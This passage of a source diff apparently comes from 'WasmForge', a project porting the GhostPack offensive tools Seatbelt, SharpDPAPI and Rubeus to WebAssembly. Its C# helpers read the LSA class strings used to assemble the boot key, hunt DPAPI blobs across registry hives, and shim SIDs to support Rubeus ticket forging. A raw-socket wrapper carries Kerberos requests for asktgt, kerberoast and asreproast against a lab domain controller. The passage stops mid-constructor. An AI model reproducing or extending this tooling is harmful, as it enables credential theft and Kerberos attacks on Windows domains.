case RegistryHive.PerformanceData: return 0x80000004u;
case RegistryHive.CurrentConfig: return 0x80000005u;
default: return 0x80000002u; // safe default: HKLM
}
}
// Single-value lookups built on EnumValues — avoids needing distinct
// host functions per value type. Returns null if the path or value
// doesn't exist.
public static string GetStringValue(RegistryHive hive, string path, string valueName)
{
var values = EnumValues(hive, path);
return values.TryGetValue(valueName, out var v) ? v?.ToString() : null;
}
public static uint? GetDwordValue(RegistryHive hive, string path, string valueName)
{
var values = EnumValues(hive, path);
if (!values.TryGetValue(valueName, out var v) || v == null) return null;
if (v is int i) return (uint)i;
if (v is long l) return (uint)l;
if (v is uint u) return u;
if (uint.TryParse(v.ToString(), out uint parsed)) return parsed;
return null;
}
// Subkey enumeration via reg_open / reg_enum_key / reg_close round-trip.
// The host's reg_open returns an opaque handle; reg_enum_key fills a
// caller-provided buffer with the subkey name at the given index.
[DllImport("env", EntryPoint = "reg_open")]
private static extern uint reg_open(uint hivePtr, uint pathPtr, uint pathLen, uint outHandlePtr);
[DllImport("env", EntryPoint = "reg_close")]
private static extern uint reg_close(uint handle);
[DllImport("env", EntryPoint = "reg_enum")]
private static extern uint reg_enum(uint handle, uint index, uint namePtr, uint nameLenPtr);
public static string[] GetSubkeyNames(RegistryHive hive, string path)
{
var names = new List<string>();
// Empty path is intentional for hive-root enumeration — the host
// bridge (reg_open) passes the path verbatim to RegOpenKeyExW which
// treats an empty subkey as "open the hive itself". Callers that
// pass null get a defensive empty result; an empty string is a
// valid request (e.g. SearchRegistry walking from HKEY_USERS\).
if (path == null) return names.ToArray();
uint hkey = HiveToHkey(hive);
byte[] pathBytes = Encoding.UTF8.GetBytes(path);
uint handle;
uint open;
fixed (byte* pathPtr = pathBytes)
{
open = reg_open((uint)(IntPtr)(&hkey), (uint)(IntPtr)pathPtr, (uint)pathBytes.Length, (uint)(IntPtr)(&handle));
}
if (open != 0 || handle == 0) return names.ToArray();
try
{
// RegEnumKeyExW writes UTF-16LE wide chars; lpcchName is the
// CHAR count (in chars, not bytes) — input is buffer capacity
// in chars, output is the actual char count written.
// Capacity here: 512-byte buffer = 256 wide chars.
const int BufBytes = 512;
const uint BufChars = BufBytes / 2;
byte[] nameBuf = new byte[BufBytes];
for (uint i = 0; i < 4096; i++)
{
uint nameLen = BufChars;
uint rc;
fixed (byte* nb = nameBuf)
{
rc = reg_enum(handle, i, (uint)(IntPtr)nb, (uint)(IntPtr)(&nameLen));
}
if (rc != 0 || nameLen == 0 || nameLen > BufChars) break;
// Decode UTF-16LE — RegEnumKeyExW always writes wide chars
// regardless of system locale; reading as UTF-8 produces
// the interleaved-NUL artefact seen in lab debug capture.
names.Add(Encoding.Unicode.GetString(nameBuf, 0, (int)nameLen * 2));
}
}
finally { reg_close(handle); }
return names.ToArray();
}
public static Dictionary<string, object> EnumValues(RegistryHive hive, string path)
{
var result = new Dictionary<string, object>();
// Empty path == enumerate values directly under the hive root (rare
// but valid for SearchRegistry-style recursive walks). Null path
// remains a no-op for defensive callers.
if (path == null)
return result;
uint hkey = HiveToHkey(hive);
byte[] pathBytes = Encoding.UTF8.GetBytes(path);
// Output buffer sized for typical registry keys (a few KB of
// enumerated values). 64 KB is generous; the host truncates if
// its own scratch is smaller and we won't overflow this.
byte[] outBuf = new byte[64 * 1024];
uint written;
fixed (byte* pathPtr = pathBytes)
fixed (byte* outPtr = outBuf)
{
// hkey lives on the C# stack; pass its address as the hive_ptr.
written = reg_enumvals(
(uint)(IntPtr)(&hkey),
(uint)(IntPtr)pathPtr, (uint)pathBytes.Length,
(uint)(IntPtr)outPtr, (uint)outBuf.Length);
}
if (written == 0 || written > outBuf.Length)
return result;
// Parse null-separated records: name\ttype\tvalue\0
int start = 0;
for (int i = 0; i < (int)written; i++)
{
if (outBuf[i] != 0) continue;
if (i > start)
{
string record = Encoding.UTF8.GetString(outBuf, start, i - start);
var parts = record.Split('\t');
if (parts.Length >= 3)
{
string name = parts[0];
string type = parts[1];
string value = parts[2];
result[name] = ConvertValue(type, value);
}
}
start = i + 1;
}
return result;
}
private static object ConvertValue(string regType, string raw)
{
switch (regType)
{
case "REG_DWORD":
case "REG_DWORD_BIG_ENDIAN":
if (int.TryParse(raw, out int iv)) return iv;
if (uint.TryParse(raw, out uint uv)) return unchecked((int)uv);
return raw;
case "REG_QWORD":
if (long.TryParse(raw, out long lv)) return lv;
if (ulong.TryParse(raw, out ulong ulv)) return unchecked((long)ulv);
return raw;
case "REG_MULTI_SZ":
return raw.Split('|');
case "REG_BINARY":
if ((raw.Length & 1) != 0) return raw;
byte[] bytes = new byte[raw.Length / 2];
for (int i = 0; i < bytes.Length; i++)
{
int hi = HexDigit(raw[i * 2]);
int lo = HexDigit(raw[i * 2 + 1]);
if (hi < 0 || lo < 0) return raw;
bytes[i] = (byte)((hi << 4) | lo);
}
return bytes;
case "REG_SZ":
case "REG_EXPAND_SZ":
return raw;
default:
return raw;
}
}
private static int HexDigit(char c)
{
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
// ── GetSubkeyClass — read the undocumented class string from
// LSA subkeys (JD/Skew1/GBG/Data). Used by Seatbelt's
// LSADump.GetBootKey to assemble the boot key from the
// scrambled 4-char class strings on those subkeys.
//
// Wraps RegEnumKeyExW which is bridged via
// pinvoke_nativeaot.c:1586. Unlike GetSubkeyNames (which
// discards lpClass), this passes a stack-allocated
// class-string buffer and reads it back.
private const uint KEY_READ = 0x20019;
private const int ERROR_SUCCESS = 0;
private const int ERROR_NO_MORE_ITEMS = 259;
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern int RegOpenKeyExW(IntPtr hKey, string lpSubKey,
uint ulOptions, uint samDesired, out IntPtr phkResult);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern int RegEnumKeyExW(IntPtr hKey, uint dwIndex,
IntPtr lpName, ref uint lpcName,
IntPtr lpReserved, IntPtr lpClass, ref uint lpcClass,
IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern int RegCloseKey(IntPtr hKey);
public static string GetSubkeyClass(RegistryHive hive, string parentPath, string subkeyName)
{
if (string.IsNullOrEmpty(subkeyName)) return null;
IntPtr rootHandle = (IntPtr)HiveToHkey(hive);
IntPtr hKey = IntPtr.Zero;
if (RegOpenKeyExW(rootHandle, parentPath ?? "", 0, KEY_READ, out hKey) != ERROR_SUCCESS
|| hKey == IntPtr.Zero)
{
return null;
}
try
{
// Find the subkey index by enumerating names.
IntPtr nameBuf = Marshal.AllocHGlobal(260 * 2); // 260 WCHARs
IntPtr classBuf = Marshal.AllocHGlobal(260 * 2);
IntPtr ftBuf = Marshal.AllocHGlobal(16);
try
{
for (uint i = 0; i < 1024; i++)
{
uint nameLen = 260;
uint classLen = 260;
// Zero out buffers each iteration.
for (int z = 0; z < 260; z++)
Marshal.WriteInt16(nameBuf, z * 2, 0);
for (int z = 0; z < 260; z++)
Marshal.WriteInt16(classBuf, z * 2, 0);
int rc = RegEnumKeyExW(hKey, i, nameBuf, ref nameLen,
IntPtr.Zero, classBuf, ref classLen, ftBuf);
if (rc == ERROR_NO_MORE_ITEMS) return null;
if (rc != ERROR_SUCCESS) return null;
string enumeratedName = Marshal.PtrToStringUni(nameBuf, (int)nameLen);
if (string.Equals(enumeratedName, subkeyName,
StringComparison.OrdinalIgnoreCase))
{
return Marshal.PtrToStringUni(classBuf, (int)classLen);
}
}
return null;
}
finally
{
Marshal.FreeHGlobal(nameBuf);
Marshal.FreeHGlobal(classBuf);
Marshal.FreeHGlobal(ftBuf);
}
}
finally
{
RegCloseKey(hKey);
}
}
}
}
+141
View File
@@ -0,0 +1,141 @@
// WfRegistrySearch.cs — DPAPI-blob hunter over Microsoft.Win32 hives.
//
// Routes the entire BFS to the wasmforge host via `reg_search` (Category C
// host export, see docs/refactor/host-api-contract.md). Doing the walk in
// WASM via per-key wf_calls is O(depth) per call and exceeds the lab's
// 5-minute exec budget on HKLM (~500K keys). The host-side walker uses
// parent-handle propagation at native Win32 speed and completes both
// hives in seconds.
//
// Wire format from the host (NUL-separated UTF-8 records):
//
// Root: HKEY_USERS\
// HKEY_USERS\\<subpath> ! <valueName>
// HKEY_USERS\\<subpath> ! Default (when valueName == "")
//
// The double backslash on subkey lines mirrors what .NET RegistryKey.Name
// emits when the root was opened as Registry.Users.OpenSubKey("\\") —
// root.Name ends with a backslash, then BFS-joining children appends
// another. See testdata/parity-baselines/sharpdpapi/search.golden for the
// exact byte sequence (offset 0x140: "HKEY_USERS\\S-1-5-...").
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace WasmForge.Helpers
{
public static unsafe class WfRegistrySearch
{
// Host bridge — see internal/hostmod/nativeaot_regsearch_windows.go.
// Returns bytes written into out_buf, or 0 on error / buffer too small.
[DllImport("env", EntryPoint = "reg_search")]
private static extern uint NativeRegSearch(uint hive, uint outBufPtr, uint outBufCap);
// Initial scratch buffer. Most hives produce far less than this even
// with several thousand matches (~80 bytes/line). The host returns 0
// if the buffer is too small; we grow and retry up to a hard ceiling
// matching the host's internal expectations.
private const int InitialBufBytes = 1 << 20; // 1 MiB
private const int MaxBufBytes = 64 << 20; // 64 MiB
/// <summary>
/// Walk the given hive and return one line per matching value plus a
/// leading "Root: &lt;hive-prefix&gt;\" header. The walk runs entirely
/// host-side (see reg_search in internal/hostmod/nativeaot_regsearch_windows.go);
/// the subpath argument is reserved for future use — the host walker
/// currently always starts at the hive root, matching SharpDPAPI's
/// usage in SearchRegistry which never passes a subpath when invoked
/// without the /path argument.
/// </summary>
public static List<string> FindDpapiBlobs(RegistryHive hive, string subpath)
{
var results = new List<string>();
uint hiveConst = HiveConst(hive);
if (hiveConst == 0)
{
results.Add("Root: " + HivePrefix(hive));
return results;
}
// Grow the buffer until the host fits its full output. 0 from
// NativeRegSearch is ambiguous (could be "no data" or "buffer
// too small") so we conservatively retry on 0 once, doubling
// each iteration, until we exceed MaxBufBytes.
int cap = InitialBufBytes;
uint written = 0;
byte[] buf = null;
for (; cap <= MaxBufBytes; cap *= 2)
{
buf = new byte[cap];
fixed (byte* p = buf)
{
written = NativeRegSearch(hiveConst, (uint)(IntPtr)p, (uint)cap);
}
if (written != 0) break;
// written == 0 → host either had no matches (unlikely for a
// real hive on Windows) or wrote nothing because cap was
// too small. Try one more time at the next cap step; if it
// still returns 0 we accept that there are simply no matches.
if (cap > InitialBufBytes) break;
}
if (buf == null || written == 0)
{
// No matches at all (e.g. host stub on non-Windows). Emit the
// Root header so callers still see structurally-valid output.
results.Add("Root: " + HivePrefix(hive));
return results;
}
// Parse NUL-separated UTF-8 records.
int start = 0;
for (int i = 0; i < (int)written; i++)
{
if (buf[i] != 0) continue;
if (i > start)
{
string record = Encoding.UTF8.GetString(buf, start, i - start);
results.Add(record);
}
start = i + 1;
}
// Trailing record without NUL terminator (defensive).
if (start < (int)written)
{
string tail = Encoding.UTF8.GetString(buf, start, (int)written - start);
if (tail.Length > 0) results.Add(tail);
}
return results;
}
private static uint HiveConst(RegistryHive hive)
{
switch (hive)
{
case RegistryHive.ClassesRoot: return 0x80000000;
case RegistryHive.CurrentUser: return 0x80000001;
case RegistryHive.LocalMachine: return 0x80000002;
case RegistryHive.Users: return 0x80000003;
case RegistryHive.CurrentConfig: return 0x80000005;
default: return 0;
}
}
private static string HivePrefix(RegistryHive hive)
{
switch (hive)
{
case RegistryHive.LocalMachine: return "HKEY_LOCAL_MACHINE\\";
case RegistryHive.Users: return "HKEY_USERS\\";
case RegistryHive.CurrentUser: return "HKEY_CURRENT_USER\\";
case RegistryHive.ClassesRoot: return "HKEY_CLASSES_ROOT\\";
case RegistryHive.CurrentConfig: return "HKEY_CURRENT_CONFIG\\";
case RegistryHive.PerformanceData: return "HKEY_PERFORMANCE_DATA\\";
default: return hive.ToString() + "\\";
}
}
}
}
+114
View File
@@ -0,0 +1,114 @@
// WfSec.cs — WasmForge security helper: SDDL retrieval for files and services.
//
// Provides thin wrappers over sec_sddl_typed (pinvoke_env_ext.c) that route
// GetNamedSecurityInfoW calls through the bridge with the correct SE_OBJECT_TYPE.
//
// SE_FILE_OBJECT = 1 — for binary path SDDL (ServicesCommand.TryGetBinaryPathSddl)
// SE_SERVICE_OBJECT = 5 — for service name SDDL (ServicesCommand.TryGetServiceSddl)
using System;
using System.Text;
using WasmForge.Bridge;
namespace WasmForge.Helpers
{
// Preserve through NativeAOT trim. Without this, even though
// LsaWrapper.ResolveAccountName calls WfSec.SidToAccountName via the
// patcher rule, the trim analysis decides the call chain isn't
// statically reachable (likely because the DllImports declare a
// contract the linker can't fully resolve) and removes the entire
// class. The annotation forces all members to be kept.
[System.Diagnostics.CodeAnalysis.DynamicallyAccessedMembers(
System.Diagnostics.CodeAnalysis.DynamicallyAccessedMemberTypes.All)]
public static unsafe class WfSec
{
public static string GetServiceSddl(string serviceName)
{
if (string.IsNullOrEmpty(serviceName)) return "";
return GetSddlInternal(serviceName, /*SE_SERVICE_OBJECT=*/5);
}
public static string GetFileSddl(string path)
{
if (string.IsNullOrEmpty(path)) return "";
return GetSddlInternal(path, /*SE_FILE_OBJECT=*/1);
}
private static string GetSddlInternal(string name, uint objectType)
{
byte[] nameUtf8 = Encoding.UTF8.GetBytes(name + "\0");
byte[] outBuf = new byte[1024];
fixed (byte* npp = nameUtf8)
fixed (byte* op = outBuf)
{
uint n = WfHostBridge.GetPathSddlTyped(npp, objectType, op, (uint)outBuf.Length);
if (n == 0) return "";
return Encoding.UTF8.GetString(outBuf, 0, (int)n);
}
}
// ── Direct P/Invokes to advapi32 (resolved by the build to our C
// bridge functions in dotnet/bridge/pinvoke_nativeaot.c which
// route through wf_call_v2 with the correct out8_mask).
// Use `long` (8 bytes) for the PSID out param even though it's
// semantically a pointer. NativeAOT-WASI is wasm32 (4-byte IntPtr)
// but the host x64 Win32 API writes 8 bytes to the out slot; using
// IntPtr would let the 4 extra bytes overflow into adjacent stack
// and corrupt locals. The 8-byte slot just receives the full host
// pointer value which we then pass back through LookupAccountSidW
// as-is (it's never dereferenced from WASM).
// ── Direct P/Invokes to bridge functions in pinvoke_nativeaot.c ───
// ConvertStringSidToSidW + LookupAccountSidW_8 live in the always-
// included NativeLibrary so the linker reliably finds these symbols.
// The _8 variant uses uint64_t for the PSID so the full host pointer
// returned by ConvertStringSidToSidW survives the wasm32 boundary.
[System.Runtime.InteropServices.DllImport("advapi32.dll", EntryPoint = "ConvertStringSidToSidW", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Unicode)]
private static extern int ConvertStringSidToSidW(
[System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)] string StringSid,
out long Sid);
[System.Runtime.InteropServices.DllImport("advapi32.dll", EntryPoint = "LookupAccountSidW_8", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Unicode)]
private static extern int LookupAccountSidW_8(
long Sid,
byte[] Name,
ref uint cchName,
byte[] ReferencedDomainName,
ref uint cchReferencedDomainName,
out int peUse);
// ── SidToAccountName ──────────────────────────────────────────────
//
// Resolves an SDDL-form SID ("S-1-5-21-...") to "DOMAIN\\user" via
// ConvertStringSidToSidW + LookupAccountSidW_8. Returns "" on failure.
// Drop-in for SecurityIdentifier.Translate(typeof(NTAccount)).Value
// which throws PNS on NativeAOT-WASI. The PSID is passed as long
// (8 bytes) so the full host pointer survives the wasm32 ABI; the
// bridge wrapper LookupAccountSidW_8 reciprocates with uint64_t.
public static string SidToAccountName(string sddlSid)
{
if (string.IsNullOrEmpty(sddlSid)) return "";
try
{
long pSid;
if (ConvertStringSidToSidW(sddlSid, out pSid) == 0 || pSid == 0)
return "";
var nameBuf = new byte[512];
var domainBuf = new byte[512];
uint cchName = 256, cchDomain = 256;
int sidUse;
if (LookupAccountSidW_8(pSid, nameBuf, ref cchName, domainBuf, ref cchDomain, out sidUse) == 0)
return "";
string u = (cchName > 0 && cchName <= 255) ? System.Text.Encoding.Unicode.GetString(nameBuf, 0, (int)cchName * 2) : "";
string d = (cchDomain > 0 && cchDomain <= 255) ? System.Text.Encoding.Unicode.GetString(domainBuf, 0, (int)cchDomain * 2) : "";
if (string.IsNullOrEmpty(u) && string.IsNullOrEmpty(d)) return "";
if (string.IsNullOrEmpty(d)) return u;
if (string.IsNullOrEmpty(u)) return d;
return d + "\\" + u;
}
catch
{
return "";
}
}
}
}
+268
View File
@@ -0,0 +1,268 @@
// WfSidShim.cs — Partial bypass for `new SecurityIdentifier(...)` on NativeAOT-WASI.
//
// STATUS (2026-05-23): The SecurityIdentifier type that ships with NativeAOT-LLVM
// for the wasi-wasm runtime is a *stripped* surface. It has neither the private
// `_binaryForm` field nor `BinaryForm` — verified at runtime via UnsafeAccessor
// which reported "Field not found: '_binaryForm'". Both reflection (returns empty
// fields array) and UnsafeAccessor (compile-resolved but runtime-rejected) confirm
// the type has no usable instance fields under NativeAOT-WASI trim.
//
// Consequence: Create() catches the PNS but the fallback returns null because there
// is no field to populate. Downstream consumers like Rubeus.Ndr._RPC_SID..ctor that
// call sid.BinaryLength/sid.GetBinaryForm() then NRE on the null.
//
// The proper fix requires rewriting Rubeus's PAC type signatures (_RPC_SID ctor)
// to accept a non-BCL SID representation — either a byte[] or our own type. The
// csharp_patcher would need regex support to rewrite the variable-argument
// call sites (~10 of them in ForgeTicket.cs, Requestor.cs, UpnDns.cs). Multi-day
// scope, deferred to a future session.
//
// What this file still buys us: catching the IdentityReference PNS earlier so the
// stack trace is cleaner, plus a working SidStringToBinary parser for any consumer
// that wants to skip the BCL type entirely.
//
// The BCL's abstract IdentityReference base class throws PlatformNotSupportedException
// at construction on NativeAOT-WASI ("Windows Principal functionality is not supported
// on this platform"). Both SecurityIdentifier(string) and SecurityIdentifier(byte[], int)
// invoke the throwing base ctor — there's no safe way to use the type via its normal
// constructors.
//
// This shim allocates the SecurityIdentifier instance via
// `RuntimeHelpers.GetUninitializedObject` (which skips the constructor) and populates
// the internal `_binaryForm` field via reflection. NativeAOT trim preserves the
// reflection target through the rd.xml entry emitted alongside this file.
//
// All Rubeus PAC sites that previously did `new global::System.Security.Principal.SecurityIdentifier(x)` are rewritten
// by csharp_patcher to call WfSid.Create(x). The return type remains the BCL
// SecurityIdentifier so downstream code in Ndr._RPC_SID etc. compiles unchanged.
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Security.Principal;
namespace WasmForge.Bridge
{
public static class WfSid
{
// NativeAOT-LLVM trims private fields from reflection, so plain
// typeof(T).GetField(...) returns null. UnsafeAccessor (introduced in .NET 8)
// is the trim-safe way to access non-public members on sealed types: the
// compiler generates a direct field accessor that survives trim.
[System.Runtime.CompilerServices.UnsafeAccessor(
System.Runtime.CompilerServices.UnsafeAccessorKind.Field, Name = "_binaryForm")]
private static extern ref byte[] BinaryFormRef(global::System.Security.Principal.SecurityIdentifier sid);
/// <summary>Construct a SecurityIdentifier from an SDDL-format SID string
/// ("S-1-5-21-...") without invoking the throwing IdentityReference base
/// constructor. Returns null if uninitialized-object construction or
/// reflection field-set fails (e.g., NativeAOT trim stripped the field).</summary>
public static SecurityIdentifier Create(string sidString)
{
// Fast path: try the normal constructor — on platforms where it works
// (real Windows, future NativeAOT versions that lift the restriction)
// we get a properly initialized BCL instance.
try { return new global::System.Security.Principal.SecurityIdentifier(sidString); }
catch (PlatformNotSupportedException) { /* fall through */ }
catch (TypeInitializationException) { /* fall through */ }
try
{
byte[] binaryForm = SidStringToBinary(sidString);
return CreateFromBinary(binaryForm);
}
catch { return null; }
}
/// <summary>Construct a SecurityIdentifier from a binary SID. Same
/// constructor-bypass mechanism as the string form.</summary>
public static SecurityIdentifier Create(byte[] binaryForm, int offset = 0)
{
try { return new global::System.Security.Principal.SecurityIdentifier(binaryForm, offset); }
catch (PlatformNotSupportedException) { /* fall through */ }
catch (TypeInitializationException) { /* fall through */ }
try
{
int len = SidBinaryLength(binaryForm, offset);
byte[] copy = new byte[len];
Buffer.BlockCopy(binaryForm, offset, copy, 0, len);
return CreateFromBinary(copy);
}
catch { return null; }
}
/// <summary>Construct from a host SID pointer (IntPtr → byte[]).
/// Mirrors the existing SecurityIdentifier(IntPtr) site that already
/// has a try/catch wrapper in csharp_patcher.</summary>
public static SecurityIdentifier Create(IntPtr sidPtr)
{
try { return new global::System.Security.Principal.SecurityIdentifier(sidPtr); }
catch (PlatformNotSupportedException) { /* fall through */ }
catch (TypeInitializationException) { /* fall through */ }
try
{
if (sidPtr == IntPtr.Zero) return null;
// Read SubAuthorityCount at offset 1 to determine total length.
byte subCount = System.Runtime.InteropServices.Marshal.ReadByte(sidPtr, 1);
int len = 8 + (subCount * 4);
byte[] copy = new byte[len];
System.Runtime.InteropServices.Marshal.Copy(sidPtr, copy, 0, len);
return CreateFromBinary(copy);
}
catch { return null; }
}
private static SecurityIdentifier CreateFromBinary(byte[] binaryForm)
{
SecurityIdentifier obj;
try
{
obj = (SecurityIdentifier)RuntimeHelpers.GetUninitializedObject(typeof(SecurityIdentifier));
}
catch (Exception e)
{
Console.Error.WriteLine("[WfSid] GetUninitializedObject failed: {0}", e.Message);
return null;
}
try
{
// UnsafeAccessor: trim-safe direct field write.
BinaryFormRef(obj) = binaryForm;
}
catch
{
// Silent failure — UnsafeAccessor's runtime field-existence check
// can mismatch the live CoreCLR layout under NativeAOT-WASI trim.
// Callers (FormatHash, ForgeTicket, etc) accept null and use the
// SidStringToBinary fallback. Printing once per call pollutes
// parity diffs against native Rubeus.
return null;
}
return obj;
}
/// <summary>Parse "S-1-5-21-a-b-c-rid" into the standard binary SID layout:
/// revision(1) + subCount(1) + identAuth(6 BE) + subAuth[i](4 LE) * subCount.</summary>
public static byte[] SidStringToBinary(string s)
{
if (string.IsNullOrEmpty(s)) throw new ArgumentException("empty SID");
string[] parts = s.Split('-');
if (parts.Length < 3 || !parts[0].Equals("S", StringComparison.OrdinalIgnoreCase))
throw new FormatException("not an SDDL SID: " + s);
byte revision = byte.Parse(parts[1]);
ulong identAuth = ulong.Parse(parts[2]);
int subCount = parts.Length - 3;
byte[] bytes = new byte[8 + (subCount * 4)];
bytes[0] = revision;
bytes[1] = (byte)subCount;
// Identifier authority is 6-byte big-endian.
for (int i = 0; i < 6; i++)
bytes[2 + i] = (byte)((identAuth >> ((5 - i) * 8)) & 0xff);
for (int i = 0; i < subCount; i++)
{
uint sub = uint.Parse(parts[3 + i]);
byte[] le = BitConverter.GetBytes(sub);
Buffer.BlockCopy(le, 0, bytes, 8 + (i * 4), 4);
}
return bytes;
}
private static int SidBinaryLength(byte[] binaryForm, int offset)
{
byte subCount = binaryForm[offset + 1];
return 8 + (subCount * 4);
}
/// <summary>NativeAOT-WASI under InvariantGlobalization returns a null
/// TimeZone.CurrentTimeZone. Try TimeZoneInfo.Local; fall back to UTC
/// passthrough if that also throws.</summary>
public static DateTime ToLocalTimeSafe(DateTime dt)
{
try
{
return TimeZoneInfo.ConvertTime(dt, TimeZoneInfo.Local);
}
catch { return dt; }
}
/// <summary>Convert a binary SID back to SDDL "S-1-5-21-…" form.
/// Companion to SidStringToBinary — used by _RPC_SID.ToString() etc.</summary>
public static string SidBinaryToString(byte[] binaryForm, int offset = 0)
{
if (binaryForm == null || binaryForm.Length < offset + 8) return "";
byte revision = binaryForm[offset + 0];
byte subCount = binaryForm[offset + 1];
ulong identAuth = 0;
for (int i = 0; i < 6; i++)
{
identAuth = (identAuth << 8) | binaryForm[offset + 2 + i];
}
var sb = new System.Text.StringBuilder();
sb.Append('S').Append('-').Append(revision).Append('-').Append(identAuth);
for (int i = 0; i < subCount; i++)
{
int idx = offset + 8 + (i * 4);
if (idx + 4 > binaryForm.Length) break;
uint sub = BitConverter.ToUInt32(binaryForm, idx);
sb.Append('-').Append(sub);
}
return sb.ToString();
}
}
}
namespace WasmForge.Bridge
{
// WfSidFallback: per-LUID SDDL string cache for the case where
// WfSid.Create returns null (NativeAOT trim stripped reflection
// internals). The Rubeus klist UserSID print line consults this
// dictionary when LogonSession.Sid is null.
public static class WfSidFallback
{
private static readonly System.Collections.Generic.Dictionary<uint, string> _map =
new System.Collections.Generic.Dictionary<uint, string>();
public static void Set(uint luidLow, string sddl)
{
if (string.IsNullOrEmpty(sddl)) return;
_map[luidLow] = sddl;
}
public static string Get(uint luidLow)
{
string s; return _map.TryGetValue(luidLow, out s) ? s : "";
}
}
}
namespace WasmForge.Bridge
{
// WfEventLogGuard: classify (path, query) tuples by whether the wf_call →
// wevtapi.dll path is known-safe for non-elevated callers. The bridge
// traps host-side on multi-line XPath queries (PoweredOnEvents) and on
// certain channels (Microsoft-Windows-PowerShell/Operational) when the
// caller doesn't have read access — the trap happens inside wevtapi's
// internal RPC path before our try/catch can run. Better to short-circuit
// and return "no events" than to abort the whole process.
public static class WfEventLogGuard
{
public static bool IsSafeToQuery(string path, string query)
{
if (string.IsNullOrEmpty(path)) return false;
// Multi-line queries are the smoking-gun for the trap — every
// confirmed crash path uses them, and there's no command in the
// GhostPack tools that legitimately needs them on a non-admin
// host (they only mean "old events with structured filters",
// which require admin to read anyway).
if (query != null && (query.Contains("\n") || query.Contains("\r"))) return false;
// Channels other than Security require admin on Win10+; do not
// even attempt the wf_call → wevtapi.dll path because the trap
// happens inside the wevtapi RPC layer rather than returning an
// error to us. Security WITH a single-line query is the one
// confirmed-safe combination.
if (string.Equals(path, "Security", System.StringComparison.OrdinalIgnoreCase)) return true;
return false;
}
}
}
+337
View File
@@ -0,0 +1,337 @@
// WfSocket.cs — Raw TCP socket via ws2_32.dll through mod_invoke.
//
// Provides a minimal WfSocket class with Connect/Send/Recv/Close that
// calls Winsock2 APIs directly via the mod_load / mod_resolve / mod_invoke
// bridge, matching the canonical pattern in WfNetapi.cs.
//
// Usage:
// using (var sock = new WfSocket())
// {
// if (sock.Connect("kingslanding.sevenkingdoms.local", 88))
// {
// sock.Send(krbAsReqBytes);
// byte[] response = new byte[65536];
// int n = sock.Recv(response);
// }
// }
//
// Note: WSAStartup is called lazily once (static initializer guard).
// Each WfSocket instance creates one SOCKET handle via socket(AF_INET, SOCK_STREAM, IPPROTO_TCP).
//
// For Rubeus kerberos verbs (asktgt / kerberoast / asreproast):
// Replace Networking.SendBytes(host, port, data) with WfSocket-backed wrapper.
// Patcher rule rewrites "Networking.SendBytes(" → "WfSocket.SendRecv(" in Ask.cs.
using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public unsafe class WfSocket : IDisposable
{
// ── SOCKET constants ─────────────────────────────────────────────────────
private const int AF_INET = 2;
private const int SOCK_STREAM = 1;
private const int IPPROTO_TCP = 6;
private const ulong INVALID_SOCKET = unchecked((ulong)(long)-1); // 0xFFFFFFFFFFFFFFFF
// ── mod_load / mod_resolve / mod_invoke DllImports ──────────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Per-proc handle cache ────────────────────────────────────────────────
private static uint _ws2_32;
private static uint _ntdll;
private static uint _hRtlMoveMemory;
private static uint _hWSAStartup;
private static uint _hSocket;
private static uint _hGethostbyname;
private static uint _hHtons;
private static uint _hConnect;
private static uint _hSend;
private static uint _hRecv;
private static uint _hClosesocket;
private static uint _hWSAGetLastError;
// ── WSAStartup guard ─────────────────────────────────────────────────────
private static bool _wsaInitialized;
// ── This instance's SOCKET handle ────────────────────────────────────────
private ulong _socket = INVALID_SOCKET;
// ── Resolve helper ───────────────────────────────────────────────────────
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
// ── Low-level invoke ─────────────────────────────────────────────────────
private static ulong Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0)
{
ulong ret1 = 0, err = 0;
return mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
}
// ── Copy bytes from host memory into a managed buffer ────────────────────
private static bool CopyHostToWasm(ulong hostAddr, byte* wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == null || len == 0) return false;
uint pCopy = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
Invoke(pCopy, 3, (ulong)(uint)(IntPtr)wasmPtr, hostAddr, (ulong)len);
return true;
}
// ── Constructor: WSAStartup (once) + socket() ────────────────────────────
public WfSocket()
{
EnsureWsaInit();
uint pSocket = Resolve("ws2_32.dll", ref _ws2_32, "socket", ref _hSocket);
if (pSocket == 0) return;
// socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
